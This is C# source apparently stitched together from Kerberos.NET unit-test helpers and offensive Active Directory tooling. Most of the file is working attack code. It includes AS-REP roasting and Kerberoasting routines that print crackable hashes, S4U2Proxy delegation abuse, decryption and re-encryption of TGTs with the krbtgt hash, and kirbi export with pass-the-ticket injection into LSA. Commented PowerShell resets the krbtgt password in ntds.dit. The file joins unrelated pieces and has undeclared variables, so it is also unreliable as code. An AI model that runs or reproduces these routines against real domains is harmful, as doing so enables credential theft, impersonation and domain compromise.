private static void AssertIsExpectedKrbtgt(KerberosKey clientKey, KerberosKey tgtKey, byte[] message)
{
var asRep = new KrbAsRep().DecodeAsApplication(message);
Assert.IsNotNull(asRep);
var encPart = asRep.EncPart.Decrypt(
clientKey,
KeyUsage.EncAsRepPart,
b => KrbEncAsRepPart.DecodeApplication(b)
);
Assert.IsNotNull(encPart);
Assert.AreEqual(KrbtgtSpn, encPart.SName.FullyQualifiedName, true);
Assert.AreEqual(Realm, encPart.Realm);
Assert.IsNotNull(encPart.Key);
Assert.AreEqual(ExpectedFlags, encPart.Flags);
var krbtgt = asRep.Ticket.EncryptedPart.Decrypt(
tgtKey,
KeyUsage.Ticket,
d => new KrbEncTicketPart().DecodeAsApplication(d)
);
Assert.IsNotNull(krbtgt);
Assert.AreEqual(UserUpn, krbtgt.CName.FullyQualifiedName, true);
Assert.AreEqual(Realm, krbtgt.CRealm);
Assert.AreEqual(ExpectedFlags, krbtgt.Flags);
Assert.IsTrue(Enumerable.SequenceEqual(krbtgt.Key.KeyValue.ToArray(), encPart.Key.KeyValue.ToArray()));
}
private static KrbAsRep RequestTgt(out KrbEncryptionKey sessionKey)
{
var cred = new KerberosPasswordCredential(Upn, "P@ssw0rd!")
{
// cheating by skipping the initial leg of requesting PA-type
Salts = new[]
{
new KeyValuePair <EncryptionType, string>(
EncryptionType.AES256_CTS_HMAC_SHA1_96,
"*****@*****.**"
)
},
Configuration = Krb5Config.Default()
};
var asReq = KrbAsReq.CreateAsReq(
cred,
AuthenticationOptions.AllAuthentication
);
var handler = new KdcAsReqMessageHandler(asReq.EncodeApplication(), new KdcServerOptions
{
DefaultRealm = Realm,
IsDebug = true,
RealmLocator = realm => new FakeRealmService(realm)
});
handler.PreAuthHandlers[PaDataType.PA_ENC_TIMESTAMP] = service => new PaDataTimestampHandler(service);
var results = handler.Execute();
var decoded = KrbAsRep.DecodeApplication(results);
var decrypted = cred.DecryptKdcRep(
decoded,
KeyUsage.EncAsRepPart,
d => KrbEncAsRepPart.DecodeApplication(d)
);
sessionKey = decrypted.Key;
return(decoded);
}
private static void AssertIsExpectedKrbtgtWithOnPremisesSamAccountName(KerberosKey clientKey, KerberosKey tgtKey, byte[] message)
{
var asRep = new KrbAsRep().DecodeAsApplication(message);
Assert.IsNotNull(asRep);
// CName under reply part should NOT be original UPN
Assert.AreNotEqual(UserUpn, asRep.CName.FullyQualifiedName);
Assert.AreEqual(TestSamAccountName, asRep.CName.FullyQualifiedName);
var encPart = asRep.EncPart.Decrypt(
clientKey,
KeyUsage.EncAsRepPart,
b => KrbEncAsRepPart.DecodeApplication(b)
);
Assert.IsNotNull(encPart);
Assert.AreEqual(KrbtgtSpn, encPart.SName.FullyQualifiedName, true, CultureInfo.InvariantCulture);
Assert.AreEqual(Realm, encPart.Realm);
Assert.IsNotNull(encPart.Key);
Assert.AreEqual(ExpectedFlags, encPart.Flags);
var krbtgt = asRep.Ticket.EncryptedPart.Decrypt(
tgtKey,
KeyUsage.Ticket,
d => new KrbEncTicketPart().DecodeAsApplication(d)
);
Assert.IsNotNull(krbtgt);
// CName under encrypted ticket part should be matched with OnPremisesSamAccountName
Assert.IsTrue(krbtgt.CName.Type == PrincipalNameType.NT_PRINCIPAL);
Assert.IsTrue(krbtgt.CName.Name.Length == 1);
Assert.AreEqual(TestSamAccountName, krbtgt.CName.FullyQualifiedName);
Assert.AreEqual(Realm, krbtgt.CRealm);
Assert.AreEqual(ExpectedFlags, krbtgt.Flags);
Assert.IsTrue(Enumerable.SequenceEqual(krbtgt.Key.KeyValue.ToArray(), encPart.Key.KeyValue.ToArray()));
}
public void KrbtgtDecode()
{
var krbtgtKey = new KerberosKey(key: Key, etype: EncryptionType.AES256_CTS_HMAC_SHA1_96);
var longUserTermKey = new KerberosKey("P@ssw0rd!", salt: "CORP.IDENTITYINTERVENTION.COMtestuser");
var krbAsRepBytes = ReadDataFile("messages\\as-rep").Skip(4).ToArray();
var asRep = new KrbAsRep().DecodeAsApplication(krbAsRepBytes);
var encPart = asRep.EncPart.Decrypt(longUserTermKey, KeyUsage.EncAsRepPart, b => KrbEncAsRepPart.DecodeApplication(b));
Assert.IsNotNull(encPart);
var encTicket = asRep.Ticket.EncryptedPart;
var krbtgt = encTicket.Decrypt(krbtgtKey, KeyUsage.Ticket, bytes => new KrbEncTicketPart().DecodeAsApplication(bytes));
Assert.IsNotNull(krbtgt);
}
//TODO...
//askTGS with TGT kirbi
public static async System.Threading.Tasks.Task <TicketFlags> askTGS2(string kdc,
ILoggerFactory logger,
TcpKerberosTransport transport,
KrbAsRep asRep,
string username,
string password,
string domainName,
string spn,
bool isUnconstrained = false,
bool outKirbi = false,
bool verbose = false,
bool kerberoast = false,
bool ptt = false,
string hash = null,
EncryptionType etype = EncryptionType.RC4_HMAC_NT,
bool outfile = false,
string srvName = null,
string tgsHash = null,
EncryptionType tgsEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96
)
{
var now = DateTime.Now;
credKey = password != null ?
new KerberosPasswordCredential(username, password, domainName).CreateKey() :
new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();
KrbEncAsRepPart asDecrypted = cred.DecryptKdcRep(
asRep,
KeyUsage.EncAsRepPart,
d => KrbEncAsRepPart.DecodeApplication(d));
var sessionKey = asDecrypted.Key;
//Request Service Ticket parameters
ApOptions apOptions = ApOptions.Reserved;
KdcOptions kdcOptions =
KdcOptions.Forwardable |
KdcOptions.Renewable |
KdcOptions.RenewableOk |
KdcOptions.Canonicalize;
string s4u = null;
KrbTicket s4uTicket = null;
KrbTicket u2uServerTicket = null;
if (isUnconstrained)
{
spn = $"krbtgt/{domainName}";
kdcOptions |= KdcOptions.Forwarded;
}
var rst = new RequestServiceTicket()
{
ServicePrincipalName = spn,
ApOptions = apOptions,
S4uTarget = s4u,
S4uTicket = s4uTicket,
UserToUserTicket = u2uServerTicket,
KdcOptions = kdcOptions,
Realm = domainName
};
var sname = rst.ServicePrincipalName.Split('/', '@');
var tgt = asRep.Ticket;
var additionalTickets = new List <KrbTicket>();
if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
{
additionalTickets.Add(rst.UserToUserTicket);
}
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
rst.KdcOptions |= KdcOptions.Forwardable;
}
if (rst.S4uTicket != null)
{
rst.KdcOptions |= KdcOptions.ConstrainedDelegation;
additionalTickets.Add(rst.S4uTicket);
}
var body = new KrbKdcReqBody
{
//Specify RC4 as the only supported EType
EType = new[] { EncryptionType.RC4_HMAC_NT },//KrbConstants.KerberosConstants.ETypes.ToArray(),
KdcOptions = rst.KdcOptions,
Nonce = KrbConstants.KerberosConstants.GetNonce(),
Realm = rst.Realm,
SName = new KrbPrincipalName()
{
Type = PrincipalNameType.NT_SRV_INST,
Name = sname
},
Till = KrbConstants.KerberosConstants.EndOfTime,
CName = rst.CNameHint
};
if (additionalTickets.Count > 0)
{
body.AdditionalTickets = additionalTickets.ToArray();
}
var bodyChecksum = KrbChecksum.Create(
body.Encode(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqChecksum
);
//ApReq
//Authenticator
var authenticator = new KrbAuthenticator
{
CName = asRep.CName,
Realm = asRep.Ticket.Realm,
SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
Checksum = bodyChecksum,
CTime = now,
CuSec = now.Millisecond //new Random().Next(0, 999999)
};
var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);
subSessionKey.Usage = KeyUsage.EncTgsRepPartSubSessionKey;
authenticator.Subkey = subSessionKey;
var encryptedAuthenticator = KrbEncryptedData.Encrypt(
authenticator.EncodeApplication(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqAuthenticator
);
var apReq = new KrbApReq
{
Ticket = tgt,
ApOptions = apOptions,
Authenticator = encryptedAuthenticator
};
var pacOptions = new KrbPaPacOptions
{
Flags = PacOptions.BranchAware
}.Encode();
var paData = new List <KrbPaData>()
{
new KrbPaData
{
Type = PaDataType.PA_TGS_REQ,
Value = apReq.EncodeApplication()
},
new KrbPaData
{
Type = PaDataType.PA_PAC_OPTIONS,
Value = pacOptions
}
};
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
var paS4u = new KrbPaForUser
{
AuthPackage = "Kerberos",
UserName = new KrbPrincipalName {
Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
},
UserRealm = tgt.Realm
};
paS4u.GenerateChecksum(subSessionKey.AsKey());
paData.Add(new KrbPaData
{
Type = PaDataType.PA_FOR_USER,
Value = paS4u.Encode()
});
}
var tgs = new KrbTgsReq
{
PaData = paData.ToArray(),
Body = body
};
ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();
Console.WriteLine("[*] Sending TGS-REQ ...");
if (verbose)
{
PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
}
CancellationToken cancellation = default;
cancellation.ThrowIfCancellationRequested();
KrbTgsRep tgsRep = null;
try
{
tgsRep = await transport.SendMessage <KrbTgsRep>(
rst.Realm,
encodedTgs,
cancellation
);
}
catch (KerberosProtocolException pex)
{
Console.WriteLine("[x] Kerberos Error: {0}\n", pex.Message);
Environment.Exit(0);
}
Console.WriteLine("[*] Receiving TGS-REP ...");
if (verbose)
{
PrintFunc.PrintRep(tgsRep, credKey);
}
var returnFlag = TicketFlags.Anonymous;
try
{
//TGS-REP Enc-Part
//https://github.com/dotnet/Kerberos.NET/blob/develop/Kerberos.NET/Entities/Krb/KrbTgsReq.cs#L144
KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
subSessionKey.AsKey(),
KeyUsage.EncTgsRepPartSubSessionKey,
(ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));
if (verbose)
{
Console.WriteLine(" * [Decrypted Enc-Part]:");
PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);
returnFlag = tgsDecryptedRepPart.Flags;
if (!string.IsNullOrEmpty(tgsHash))
{
//=========================================
//TGS Tiket Enc-Part
//Service account Cred
var kerbCred2 = new Utils.KerberosHashCreds(srvName, tgsHash, tgsEtype);
//TGS-REQ Ticket Enc-Part
KrbEncTicketPart ticketDecrypted = tgsRep.Ticket.EncryptedPart.Decrypt <KrbEncTicketPart>
(kerbCred2.CreateKey(),
KeyUsage.Ticket,
(ReadOnlyMemory <byte> t) => KrbEncTicketPart.DecodeApplication(t));
Console.WriteLine(" * [Decrypted Ticket Enc-Part]:");
PrintFunc.PrintTicketEnc(ticketDecrypted);
//=========================================
}
}
if (outKirbi || outfile)
{
var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);
if (outKirbi)
{
Console.WriteLine("[+] TGS Kirbi:");
Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGS));
}
if (outfile)
{
Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username, sname), kirbiTGS);
}
}
}
catch (Exception e)
{
Console.WriteLine("[x] {0}", e.Message);
}
if (kerberoast)
{
//Kerberoasting
var encType = (int)Enum.Parse(typeof(EncryptionType), tgsRep.Ticket.EncryptedPart.EType.ToString());
var myCipher = (BitConverter.ToString(tgsRep.Ticket.EncryptedPart.Cipher.ToArray())).Replace("-", "");
var kroasthash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, username, domainName, spn, myCipher.Substring(0, 32), myCipher.Substring(32));
Console.WriteLine("[+] Kerberoasting Hash: {0}", kroasthash);
}
return(returnFlag);
}
//askTGT
public static async System.Threading.Tasks.Task <KrbAsRep> askTGT(string kdc,
ILoggerFactory logger,
TcpKerberosTransport transport,
string username,
string password,
string domainName,
bool outKirbi = false,
bool verbose = false,
string format = "hashcat",
bool asreproast = false,
bool ptt = false,
string hash = null,
EncryptionType etype = EncryptionType.RC4_HMAC_NT,
bool outfile = false,
string tgtHash = null,
EncryptionType tgtEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96
)
{
var now = DateTime.Now;
Console.WriteLine("[*] Starting Kerberos Authentication ...");
if (password != null)
{
cred = new KerberosPasswordCredential(username, password, domainName);
}
else
{
cred = new Utils.KerberosHashCreds(username, hash, etype, domainName);
}
credKey = cred.CreateKey();
//Pre-Auth
KrbAsReq asReqMessage = null;
KrbAsRep asRep = null;
bool notPreauth = true;
AuthenticationOptions authOptions =
AuthenticationOptions.IncludePacRequest |
AuthenticationOptions.RenewableOk |
AuthenticationOptions.Canonicalize |
AuthenticationOptions.Renewable |
AuthenticationOptions.Forwardable;
int authAttempt = 0;
while (notPreauth)
{
authAttempt += 1;
try
{
Console.WriteLine("[*] Sending AS-REQ ...");
var kdcOptions = (KdcOptions)(authOptions & ~AuthenticationOptions.AllAuthentication);
var hostAddress = Environment.MachineName;
var pacRequest = new KrbPaPacRequest
{
IncludePac = authOptions.HasFlag(AuthenticationOptions.IncludePacRequest)
};
var padata = new List <KrbPaData>()
{
new KrbPaData
{
Type = PaDataType.PA_PAC_REQUEST,
Value = pacRequest.Encode()
}
};
asReqMessage = new KrbAsReq()
{
Body = new KrbKdcReqBody
{
Addresses = new[]
{
new KrbHostAddress
{
AddressType = AddressType.NetBios,
Address = Encoding.ASCII.GetBytes(hostAddress.PadRight(16, ' '))
}
},
CName = new KrbPrincipalName()
{
Type = PrincipalNameType.NT_PRINCIPAL,
Name = new[] { username }// + "@" + domainName.ToUpper() }
},
//KrbPrincipalName.FromString(
// username,
// PrincipalNameType.NT_ENTERPRISE,
// domainName
//),
EType = KrbConstants.KerberosConstants.ETypes.ToArray(),//kdcReqEtype,
KdcOptions = kdcOptions,
Nonce = KrbConstants.KerberosConstants.GetNonce(),
RTime = KrbConstants.KerberosConstants.EndOfTime,
Realm = credKey.PrincipalName.Realm,
SName = new KrbPrincipalName
{
Type = PrincipalNameType.NT_SRV_INST,
Name = new[] { "krbtgt", credKey.PrincipalName.Realm }
},
Till = KrbConstants.KerberosConstants.EndOfTime
},
PaData = padata.ToArray()
};
if (authOptions.HasFlag(AuthenticationOptions.PreAuthenticate))
{
var ts = new KrbPaEncTsEnc()
{
PaTimestamp = now,
PaUSec = now.Millisecond,
};
var tsEncoded = ts.Encode();
var padataAs = asReqMessage.PaData.ToList();
KrbEncryptedData encData = KrbEncryptedData.Encrypt(
tsEncoded,
credKey,
KeyUsage.PaEncTs
);
padataAs.Add(new KrbPaData
{
Type = PaDataType.PA_ENC_TIMESTAMP,
Value = encData.Encode()
});
asReqMessage.PaData = padataAs.ToArray();
}
//AS-Req Part
if (verbose)
{
PrintFunc.PrintReq(asReqMessage, credKey);
}
var asReq = asReqMessage.EncodeApplication();
asRep = await transport.SendMessage <KrbAsRep>(
domainName,
asReq,
default(CancellationToken));
}
catch (KerberosProtocolException pex)
{
Console.WriteLine("[x] Kerberos Error: {0}", pex.Message);
if (pex?.Error?.ErrorCode == KerberosErrorCode.KDC_ERR_PREAUTH_REQUIRED)
{
if (asreproast)
{
Console.WriteLine("[x] Sorry the provided user requires PreAuth.\n");
Environment.Exit(0);
}
else
{
//Salt issue for RID 500 Built-in admin account
//https://github.com/dotnet/Kerberos.NET/issues/164
if (password != null)
{
cred = new KerberosPasswordCredential(username, password, domainName);
}
else
{
cred = new Utils.KerberosHashCreds(username, hash, etype, domainName);
}
cred.IncludePreAuthenticationHints(pex?.Error?.DecodePreAuthentication());
credKey = cred.CreateKey();
authOptions |= AuthenticationOptions.PreAuthenticate;
Console.WriteLine("[*] Adding encrypted timestamp ...");
}
}
else if (pex?.Error?.ErrorCode == KerberosErrorCode.KDC_ERR_PREAUTH_FAILED)
{
Console.WriteLine("[x] Invalid Credential! Authentication Stopped ...\n");
Environment.Exit(0);
}
else
{
Console.WriteLine("[x] Authentication Stopped ...\n");
Environment.Exit(0);
}
}
if (authAttempt == 2 || asreproast)
{
notPreauth = false;
}
}
Console.WriteLine("[*] Receiving AS-REP...");
if (asreproast)
{
//Asreproasting
string repHash = BitConverter.ToString(asRep.EncPart.Cipher.ToArray()).Replace("-", string.Empty);
repHash = repHash.Insert(32, "$");
string hashString = "";
if (format == "john")
{
hashString = String.Format("$krb5asrep${0}@{1}:{2}", username, domainName, repHash);
Console.WriteLine("[+] ASREPRoasting Hash: {0}", hashString);
}
else
{
hashString = String.Format("$krb5asrep$23${0}@{1}:{2}", username, domainName, repHash);
Console.WriteLine("[+] ASREPRoasting Hash: {0}", hashString);
}
}
else
{
try
{
KrbEncAsRepPart asDecryptedRepPart = cred.DecryptKdcRep(
asRep,
KeyUsage.EncAsRepPart,
d => KrbEncAsRepPart.DecodeApplication(d));
if (verbose)
{
//AS-Rep Part
PrintFunc.PrintRep(asRep, credKey);
if (authOptions.HasFlag(AuthenticationOptions.PreAuthenticate))
{
Console.WriteLine(" * [Decrypted Enc-Part]:");
PrintFunc.PrintRepEnc(asDecryptedRepPart, credKey);
////////////////////////////////////////decrypt TGT
//// net stop ntds
//// $key =Get-BootKey -Online
//// $cred = ConvertTo-SecureString -String "krbtgt" -AsPlainText -Force
//// Set-ADDBAccountPassword -SamAccountName krbtgt -NewPassword $cred -DatabasePath C:\Windows\NTDS\ntds.dit -BootKey $key
//// net start ntds
////KeyTable keytab = new KeyTable(System.IO.File.ReadAllBytes("C:\\Users\\Public\\krbtgt.keytab"));
////var krbtgtkey = keytab.GetKey(EncryptionType.AES256_CTS_HMAC_SHA1_96, asRep.Ticket.SName);
///
if (!string.IsNullOrEmpty(tgtHash))
{
var krbtgtCred = new Utils.KerberosHashCreds("krbtgt", tgtHash, tgtEtype);
//TGS - REQ Ticket Enc-Part
var ticketDecrypted = asRep.Ticket.EncryptedPart.Decrypt
(krbtgtCred.CreateKey(),
KeyUsage.Ticket,
b => KrbEncTicketPart.DecodeApplication(b));
Console.WriteLine(" * [Decrypted TGT]:");
PrintFunc.PrintTicketEnc(ticketDecrypted);
//Encrypt the ticket again
asRep.Ticket.EncryptedPart = KrbEncryptedData.Encrypt(ticketDecrypted.EncodeApplication(),
krbtgtCred.CreateKey(), KeyUsage.Ticket);
}
//////////////////////////////////////TGT
}
}
if (outKirbi || outfile)
{
var kirbiTGT = Kirbi.toKirbi(asRep, asDecryptedRepPart, ptt);
if (outKirbi)
{
Console.WriteLine("[+] TGT Kirbi:");
Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGT));
}
if (outfile)
{
Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username), kirbiTGT);
}
}
}
catch (Exception e)
{
Console.WriteLine("[x] {0}. Unable to decrypt the ticket, provided credential is invalid. (Check the ticket etype if you want to decrypt it)\n", e.Message);
//Environment.Exit(0);
}
}
return((KrbAsRep)asRep);
}
//S4U2Proxy
//[MS-SFU] 3.2.5.2.1.2 Using ServicesAllowedToSendForwardedTicketsTo
//The KDC checks if the security principal name(SPN) for Service 2,
//identified in the sname and srealm fields of the KRB_TGS_REQ message,
//is in the Service 1 account's ServicesAllowedToSendForwardedTicketsTo parameter.
//If it is, then the KDC replies with a service ticket for Service 2.
//Otherwise the KDC MUST return `KRB-ERR-BADOPTION`.
public static async System.Threading.Tasks.Task S4U2Proxy(string kdc,
ILoggerFactory logger,
TcpKerberosTransport transport,
KrbAsRep asRep,
KrbTgsRep s4u2self,
string username,
string password,
string domainName,
string impersonateuser,
string spn,
bool outKirbi = false,
bool verbose = false,
bool ptt = false,
string hash = null,
EncryptionType etype = EncryptionType.RC4_HMAC_NT)
{
var now = DateTime.UtcNow;
credKey = password != null ?
new KerberosPasswordCredential(username, password, domainName).CreateKey() :
new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();
KrbEncAsRepPart asDecrypted = password != null ?
new KerberosPasswordCredential(username, password, domainName).DecryptKdcRep(
asRep,
KeyUsage.EncAsRepPart,
d => KrbEncAsRepPart.DecodeApplication(d)) :
new Utils.KerberosHashCreds(username, hash, etype, domainName).DecryptKdcRep(
asRep,
KeyUsage.EncAsRepPart,
d => KrbEncAsRepPart.DecodeApplication(d));
var sessionKey = asDecrypted.Key;
//Request Service Ticket parameters
ApOptions apOptions = ApOptions.Reserved;
KdcOptions kdcOptions =
KdcOptions.Forwardable |
KdcOptions.Renewable |
KdcOptions.RenewableOk;
string s4u = null;
KrbTicket s4uTicket = s4u2self.Ticket;
KrbTicket u2uServerTicket = null;
var rst = new RequestServiceTicket()
{
ServicePrincipalName = spn,
ApOptions = apOptions,
S4uTarget = s4u,
S4uTicket = s4uTicket,
UserToUserTicket = u2uServerTicket,
KdcOptions = kdcOptions,
Realm = domainName
};
var sname = rst.ServicePrincipalName.Split('/', '@');
var tgt = asRep.Ticket;
var additionalTickets = new List <KrbTicket>();
if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
{
additionalTickets.Add(rst.UserToUserTicket);
}
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
rst.KdcOptions |= KdcOptions.Forwardable;
}
if (rst.S4uTicket != null)
{
rst.KdcOptions = rst.KdcOptions | KdcOptions.ConstrainedDelegation | KdcOptions.CNameInAdditionalTicket;
additionalTickets.Add(rst.S4uTicket);
}
//EncryptionType[] kdcReqEtype = { EncryptionType.RC4_HMAC_NT };
string[] name = { };
var body = new KrbKdcReqBody
{
EType = KrbConstants.KerberosConstants.ETypes.ToArray(),
KdcOptions = rst.KdcOptions,
Nonce = KrbConstants.KerberosConstants.GetNonce(),
Realm = rst.Realm,
SName = new KrbPrincipalName()
{
Type = PrincipalNameType.NT_SRV_INST,
Name = sname
},
Till = KrbConstants.KerberosConstants.EndOfTime,
CName = new KrbPrincipalName()
{
Type = PrincipalNameType.NT_SRV_INST,
Name = name
},
};
if (additionalTickets.Count > 0)
{
body.AdditionalTickets = additionalTickets.ToArray();
}
var bodyChecksum = KrbChecksum.Create(
body.Encode(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqChecksum
);
//ApReq
//Authenticator
var authenticator = new KrbAuthenticator
{
CName = asRep.CName,
Realm = asRep.Ticket.Realm,
SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
Checksum = bodyChecksum,
CTime = now,
CuSec = now.Millisecond //new Random().Next(0, 999999)
};
var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);
subSessionKey.Usage = KeyUsage.EncTgsRepPartSubSessionKey;
authenticator.Subkey = subSessionKey;
var encryptedAuthenticator = KrbEncryptedData.Encrypt(
authenticator.EncodeApplication(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqAuthenticator
);
var apReq = new KrbApReq
{
Ticket = tgt,
ApOptions = apOptions,
Authenticator = encryptedAuthenticator
};
var pacOptions = new KrbPaPacOptions
{
Flags = PacOptions.ResourceBasedConstrainedDelegation
}.Encode();
var paData = new List <KrbPaData>()
{
new KrbPaData
{
Type = PaDataType.PA_TGS_REQ,
Value = apReq.EncodeApplication()
},
new KrbPaData
{
Type = PaDataType.PA_PAC_OPTIONS,
Value = pacOptions
}
};
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
var paS4u = new KrbPaForUser
{
AuthPackage = "Kerberos",
UserName = new KrbPrincipalName {
Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
},
UserRealm = tgt.Realm
};
paS4u.GenerateChecksum(subSessionKey.AsKey());
paData.Add(new KrbPaData
{
Type = PaDataType.PA_FOR_USER,
Value = paS4u.Encode()
});
}
var tgs = new KrbTgsReq
{
PaData = paData.ToArray(),
Body = body
};
ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();
Console.WriteLine("[*] Sending TGS-REQ [S4U2Proxy] ...");
if (verbose)
{
PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
}
CancellationToken cancellation = default;
cancellation.ThrowIfCancellationRequested();
KrbTgsRep tgsRep = null;
try
{
tgsRep = await transport.SendMessage <KrbTgsRep>(
rst.Realm,
encodedTgs,
cancellation
);
}
catch (KerberosProtocolException pex)
{
Console.WriteLine("[x] Kerberos Error: {0}", pex.Message);
Environment.Exit(0);
}
Console.WriteLine("[*] Receiving TGS-REP [S4U2Proxy] ...");
try
{
KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
subSessionKey.AsKey(),
KeyUsage.EncTgsRepPartSubSessionKey,
(ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));
if (verbose)
{
PrintFunc.PrintRep(tgsRep, credKey);
Console.WriteLine(" * [Decrypted Enc-Part]:");
PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);
}
if (outKirbi)
{
var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);
Console.WriteLine("[+] TGS Kirbi:");
Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGS));
}
}catch (Exception e)
{
Console.WriteLine("[x] {0}", e.Message);
}
}
//FROM AS_REP
public static byte[] toKirbi(KrbAsRep asRep, KrbEncAsRepPart asDecryptedRepPart, bool ptt = false)
{
//https://www.freesoft.org/CIE/RFC/1510/66.htm
//KrbCredInfo::= SEQUENCE {
// key[0] EncryptionKey,
//prealm[1] Realm OPTIONAL,
//pname[2] PrincipalName OPTIONAL,
//flags[3] TicketFlags OPTIONAL,
//authtime[4] KerberosTime OPTIONAL,
//starttime[5] KerberosTime OPTIONAL,
//endtime[6] KerberosTime OPTIONAL
//renew - till[7] KerberosTime OPTIONAL,
//srealm[8] Realm OPTIONAL,
//sname[9] PrincipalName OPTIONAL,
//caddr[10] HostAddresses OPTIONAL
//}
var info = new KrbCredInfo()
{
Key = asDecryptedRepPart.Key,
Realm = asDecryptedRepPart.Realm,
PName = asRep.CName,
Flags = asDecryptedRepPart.Flags,
StartTime = asDecryptedRepPart.StartTime,
EndTime = asDecryptedRepPart.EndTime,
RenewTill = asDecryptedRepPart.RenewTill,
SRealm = asDecryptedRepPart.Realm,
SName = asDecryptedRepPart.SName
};
//EncKrbCredPart ::= [APPLICATION 29] SEQUENCE {
//ticket-info[0] SEQUENCE OF KrbCredInfo,
//nonce[1] INTEGER OPTIONAL,
//timestamp[2] KerberosTime OPTIONAL,
//usec[3] INTEGER OPTIONAL,
//s-address[4] HostAddress OPTIONAL,
//r-address[5] HostAddress OPTIONAL
//}
KrbCredInfo[] infos = { info };
var encCredPart = new KrbEncKrbCredPart()
{
TicketInfo = infos
};
//KRB-CRED ::= [APPLICATION 22] SEQUENCE {
//pvno[0] INTEGER,
//msg - type[1] INTEGER, --KRB_CRED
//tickets[2] SEQUENCE OF Ticket,
//enc - part[3] EncryptedData
//}
var myCred = new KrbCred();
myCred.ProtocolVersionNumber = 5;
myCred.MessageType = MessageType.KRB_CRED;
myCred.Tickets = new KrbTicket[] { asRep.Ticket };
//https://github.com/dirkjanm/krbrelayx/blob/master/lib/utils/kerberos.py#L220
//No Encryption for KRB-CRED
var encryptedData = new KrbEncryptedData()
{
Cipher = encCredPart.EncodeApplication(),
};
myCred.EncryptedPart = encryptedData;
byte[] kirbiBytes = myCred.EncodeApplication().ToArray();
string kirbiString = Convert.ToBase64String(kirbiBytes);
if (ptt)
{
LSA.ImportTicket(kirbiBytes, new LUID());
}
return(kirbiBytes);
}
